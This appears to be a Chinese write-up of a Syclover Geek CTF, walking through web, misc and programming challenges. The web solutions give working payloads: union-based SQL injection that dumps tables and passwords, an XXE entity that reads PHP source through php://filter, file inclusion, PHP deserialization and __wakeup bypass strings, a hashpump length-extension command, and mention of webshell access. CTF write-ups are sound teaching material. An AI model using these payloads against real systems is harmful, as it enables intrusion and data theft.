第一题:
撸猫题,不多说,get传参cat=dog
http://118.25.14.40:8110/?cat=dog
得到flag: Syc{I_actu4l1y_Lik3_d0gs}
第二题:
虽然羽哥让用的是中国菜刀,但是我用的是蚁剑
自带一句话木马,密码刚好就是syc
getshell以后,在根目录里找到flag文件
时间匆忙不复现了
第三题:
burpsuite
很简单,导进burp extender拿到flag
里面还有个反编译的小彩蛋
flag:Syc{BurpExtender_Are_guns_F0r_Hack3rs}
第四题,肖文清算卦
一开始以为是写脚本比速度,实际上是条件竞争
用burp疯狂intruder输出(10线程足以)使程序忙碌,另一方面发包,获取flag
你就能拿到flag:Syc{You-4re-S0-f4st}
第五题:easysql
布尔注入:1’ or ‘a’=’a
进去就拿到了flag: Syc{sqL_inj3cti0n_1s_re4lly_fUn}
第六题 lovelysql
找数据库-1’ union select 1,3,database()#(找着玩,是geek)
爆表名:-1’ union select 1,database(),group_concat(TABLE_NAME) from information_schema.tables where table_schema=database()#
geekuser,l0ve1ysq1
爆列名:-1’ union select 1,7,group_concat(column_name) from information_schema.columns where table_name=’l0ve1ysq1’ #
然后拿出flag:-1’ union select 1,2,group_concat(password) from l0ve1ysq1 #
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,Syc{Ohhh_y0u_foUnd_m3},di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker'
关键在于赵师傅想要女朋友,羽哥很难,刘壮是人,颜师傅有八块腹肌,严师傅的猫薄荷,三叶草有散打黑客:
Syc{Ohhh_y0u_foUnd_m3}什么的完全不重要
第六题:
机器人性感黄阿姨在线聊天
好多表情包,好多不为人知的小秘密。
刚点进去抓包,叫我问他拿flag
我真要,他又不给我,说我是什么guest
然后我就抓包变成
{“root”:{“name”:”admin”,”request”:”flag”}}
结果是:admin也不给(太傲娇了)
admin也不行! //if($name==md5($flag)){flag in ...}
然后我就试了几个php弱类型绕过,都失败了。
0,不行,true,表示我too young too simple too naive
就爆破咯,爆破md5前几个数值达到弱类型绕过
burp爆破成357的时候,回显
Congratulations! flag in ./_f14g_Is_Here_.php ,try ro read it!
然后写payload:因为只有request是flag,name不是admin的时候有回显。所以说:
<?xml version="1.0"?>
<!DOCTYPE note[
<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php">
]>
<note>
<name>&name;</name>
<request>flag</request>
</note>
文件改成xml,因为是相对路径,所以说用filter拿
就返回base64编码,解码以后:
第七题:babysql:
和前面那个easysql的区别也就是过滤几个关键字比如:
union
select
from
where
双写以后就可以防止过滤
差不多,就不一点点写了(其实是因为具体忘了)
第八题:
按了f12找了下元素,发现最后几个字:学术氛围有问题
氛围是超链接:http://118.25.14.40:8108/Secret.php
然后里面改http headers就行了:什么
Referer 改成www.Sycsecret.com啦什么的
user-agent改Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Syclover
加一个XFF之类
第九题:蒋璐源学姐的秘密
审计html:/Archive_room.php里有东西
里面说我把东西放这里面了,点开,没东西
果断抓包,用repeater发个包
里面有个 secr3t.php
这个用机器人里面一样的php://fitler方法,导出base64然后编码回来
http://118.25.14.40:8106/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
出来这么一坨玩意儿:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ1N5Y3tKaWFuZ18xdVl1YW5fTm9fSX0nOwogICAgICAgICAgICAgICAgJHNlY3JldCA9ICdqaUFuZ19MdXl1YW5fdzRudHNfYV9nMXJJZnJpM25kJwogICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgIDwvYm9keT4KCjwvaHRtbD4K
然后base64变回去, 你就会发现蒋璐源想要个女朋友
$flag = 'Syc{Jiang_1uYuan_No_I}';
第十题:反序列化:
写个php:
<?php
class student
{
public $score = 10000;
public function __destruct()
{
$this->score==10000;
}
}
$b = new student(10000);
$a = serialize($b);
echo $a;
?>
出payload:
O:7:"student":1:{s:5:"score";i:10000;}
然后get传参拿到flag
Syc{F4n-Xu-L4i-Hu4-Ha-Ha-Ha} 反序列化哈哈哈
第十一题 又来一只猫
先是文件提取:拿御剑扫一下看见一个www.zip
下载一下,拿到一个三个php
flag.php里显然是假flag
index.php是在接收一个get传参select
然后class里面是主要部分:接收一个反序列化的对象并且进行对比
关键在于绕过wakeup()函数
反序列化部分很简单
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
关键在于要弄个漏洞出来:
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}
%00做私有化标志,2改成3是弄一个找不到的对象给判定绕过wakeup函数
就拿到了flag:Syc{H31lo_4dmiN_r3al_f14g}
第十二题: 你有初恋吗:你变心了吗
哈希长度扩展攻击
题目已知:Heart(md5($adore.syclover))=6a1ce5f4dc83320710006a786ac82c1
$adore是十五位,未知
只要$_COOKIE[‘Heart’] === md5($adore. urldecode($now))
关键在于构造 {secret | data | attacker_controlled_data}的哈希值 |
就会出flag,所以说我用虚拟机整了个hashpump
payload: hashpump -s 6a1ce5f4dc83320710006a786ac82c1 -d syclover -k 15 -a pcat
就出了
77123c8c671874dcfd43cc6c80c511d0
syclover\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00pcat
吧\x改写为% 分别放进heart和lover就得到了flag(do you love me?)
misc
第一题:散打黑客的压缩包
拿压缩软件爆破机爆破就完事儿了
密码里有小惊喜:utf-8编码以后发现散打黑客的秘密是10ve
第二题:是谁杀了谁:
点开生成一个hp文件,里面藏着flag(misc出题人脑洞好大)
第三题:RPG太有趣了:
打通获得flag,
第四题,鲱鱼罐头:
先是伪加密,winhex中:
压缩源文件数据区的全局加密应当为00 00
且压缩源文件目录区的全局方式位标记应当为09 00
把全局方式标记改成 00 00即可
打开以后拿到一个jpg,文件备注是鲱鱼像死鱼
谷歌搜索deadfish ,github里刚好有个项目是,从jpg里能找到特征明显的死鱼编码
decode拿到flag
Syc{SURSTR0mming_is_deLici0us}
鲱鱼罐头很美味哦~
code
第一题:勇者斗恶龙:
不多说,直接上源码:
#include<stdio.h>
#include<stdlib.h>
int a[4][4];
int amin[3]={99999,99999,99999};
int max(int a,int b)
{
if(a>b)
{
return a;
}
else
return b;
}
int min(int a,int b)
{
if(a<b)
{
return a;
}
else
return b;
}
int main()
{
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
scanf("%d",&a[i][j]);
}
for(int i=0;i<3;i++)
for(int j=0;j<3;j++)
{
if(a[i][j]<amin[i])
{
amin[i]=a[i][j];
}
}
int flag=0;
int ans=0;
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
if(a[i][j]<=0)
{
printf("The monster is too weak...");
return 0;
}
}
for(int i=0;i<3;i++)
{
for(int j=0;j<3;j++)
{
for(int k=0;k<3;k++)
if(a[0][i]+a[1][j]+a[2][k]>=60&&a[0][i]+a[1][j]+a[2][k]<100)
{
flag=1;
ans=max(ans,100-a[0][i]-a[1][j]-a[2][k]);
}
}
}
if(flag)
{
printf("The brave still has %dHP left to face the BOSS",ans);
}
else
{
if(amin[0]+amin[1]+amin[2]<60)
{
printf("why don't give the brave a chance to level up...");
}
else
{
printf("The brave died on the way to leveling...");
}
}
return 0;
}
Syc{y0u are good at C}